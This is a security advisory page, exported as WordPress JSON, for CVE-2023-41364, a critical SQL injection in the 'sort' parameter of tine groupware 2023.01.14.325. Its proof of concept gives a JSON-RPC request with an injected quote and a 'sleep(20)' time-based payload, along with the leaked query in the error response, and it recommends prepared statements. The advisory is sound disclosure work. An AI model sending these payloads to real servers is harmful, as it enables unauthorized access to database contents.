{"id":20803,"date":"2023-08-29T09:03:59","date_gmt":"2023-08-29T07:03:59","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=20803"},"modified":"2023-12-20T11:10:01","modified_gmt":"2023-12-20T10:10:01","slug":"usd-2023-0002","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0002\/","title":{"rendered":"usd-2023-0002"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n

usd-2023-0002 | tine20 2023.01.14.325 - SQL Injection<\/h1>\n

<\/h1>\n

Advisory ID<\/strong>: usd-2023-0002
\nProduct<\/strong>: tine groupware
\nAffected Version<\/strong>: 2023.01.14.325
\nVulnerability Type<\/strong>: CWE 89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
\nSecurity Risk<\/strong>: Critical
\nVendor URL<\/strong>: https:\/\/www.tine-groupware.de\/<\/a>
\nVendor Status<\/strong>: Fixed
\nCVE number<\/strong>: CVE-2023-41364
\nCVE Link<\/strong>: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-41364<\/a>
\nLast Update<\/strong>: 2023-08-28<\/p>\n

<\/h3>\n

Description<\/h3>\n

Tine Groupware is an open source software that provides a suite of collaborative tools and applications for communication and project management within a business or organization.
\nIt offers features such as email, calendars, task management, contact management, and document management, allowing users to coordinate and share information across teams and departments.<\/p>\n

During our research on open open source software, we discovered, that the sort<\/strong> parameter of the \/index.php<\/strong> endpoint is vulnerable to SQL-Injection.<\/p>\n

Proof of Concept<\/h3>\n

The request below was used to search contacts in the addressbook.<\/p>\n

\n
<\/span>POST<\/span> \/index.php?transactionid=ae67275bb875279ab755f7e8932334f1f67fbb4c<\/span> HTTP<\/span>\/<\/span>1.1<\/span>\nHost<\/span>:<\/span> localhost:4000<\/span>\nContent-Length<\/span>:<\/span> 376<\/span>\nCookie<\/span>:<\/span> TINE20SESSID=isgch37p9s2ql7rl902b9cjabk; usercredentialcache=eyJpZCI6ImNmZWE3Y2Y4OGE5MjcyM2M5N2JkMWNkOTRmYmRjNzA1ZGY5NzJiODEiLCJrZXkiOiI0MGU1MWE5NTE1ZDIwMWExOTE0MmYxNmMifQ%3D%3D<\/span>\nConnection<\/span>:<\/span> close\n[...]\n<\/span>\n\n{<\/span>\"jsonrpc\"<\/span>:<\/span>\"2.0\"<\/span>,<\/span>\"method\"<\/span>:<\/span>\"Addressbook.searchContacts\"<\/span>,<\/span>\"params\"<\/span>:{<\/span>\"filter\"<\/span>:[{<\/span>\"condition\"<\/span>:<\/span>\"OR\"<\/span>,<\/span>\"filters\"<\/span>:[{<\/span>\"condition\"<\/span>:<\/span>\"AND\"<\/span>,<\/span>\"filters\"<\/span>:[],<\/span>\"id\"<\/span>:<\/span>\"ext-comp-1229\"<\/span>,<\/span>\"label\"<\/span>:<\/span>\"Contacts\"<\/span>}],<\/span>\"id\"<\/span>:<\/span>\"FilterPanel\"<\/span>},{<\/span>\"field\"<\/span>:<\/span>\"query\"<\/span>,<\/span>\"operator\"<\/span>:<\/span>\"contains\"<\/span>,<\/span>\"value\"<\/span>:<\/span>null<\/span>,<\/span>\"id\"<\/span>:<\/span>\"quickFilter\"<\/span>}],<\/span>\"paging\"<\/span>:{<\/span>\"sort\"<\/span>:<\/span>\"n_fileas'\"<\/span>,<\/span>\"dir\"<\/span>:<\/span>\"ASC\"<\/span>,<\/span>\"start\"<\/span>:<\/span>0<\/span>,<\/span>\"limit\"<\/span>:<\/span>50<\/span>}},<\/span>\"id\"<\/span>:<\/span>33<\/span>}<\/span><\/pre>\n<\/div>\n
The response contains the SQL query if injecting more SQLi payloads:<\/p>\n
\n
<\/span>HTTP<\/span>\/<\/span>1.1<\/span> 200<\/span> OK<\/span>\nServer<\/span>:<\/span> nginx<\/span>\nContent<\/span>-<\/span>Type<\/span>:<\/span> application<\/span>\/<\/span>json<\/span>\nContent<\/span>-<\/span>Length<\/span>:<\/span> 3853\n[...]\n<\/span>\n\n{<\/span>\"error\"<\/span>:<\/span>{<\/span>\"code\"<\/span>:-<\/span>32000<\/span>,<\/span>\"message\"<\/span>:<\/span>\"SQLSTATE[42S22]: Column not found: 1054 Unknown column 'n_fileas, sleep(20)' in 'order clause', query was: SELECT **addressbook**.*, (CASE WHEN **addressbook_image**.**contact_id** IS NULL THEN 0 ELSE 1 END) AS **jpegphoto**, **accounts**.**id** AS **account_id** FROM **tine_addressbook** AS **addressbook**\\n LEFT JOIN **tine_addressbook_image** AS **addressbook_image** ON **addressbook**.**id** = **addressbook_image**.**contact_id**\\n LEFT JOIN **tine_accounts** AS **accounts** ON **addressbook**.**id** = **accounts**.**contact_id** WHERE (**addressbook**.**is_deleted** = 0) AND (**addressbook**.**id** in ('8862248fdce32e46c05a84b12c9e74407f44a23b', 'b70f5321b4339a037e5427ec2504dafa84006d15')) GROUP BY **addressbook**.**id** ORDER BY **n_fileas, sleep(20)** ASC, **account_id** ASC\"<\/span>,<\/span><\/pre>\n<\/div>\n
Injecting a sleep(20)<\/strong> into the parameter delays the response.<\/p>\n
A successful exploitation of this vulnerability allows an unauthorized person to gain access to sensitive data in the database.<\/p>\n
Fix<\/h3>\n
It is recommended to use prepared statements.<\/p>\n
References<\/h3>\n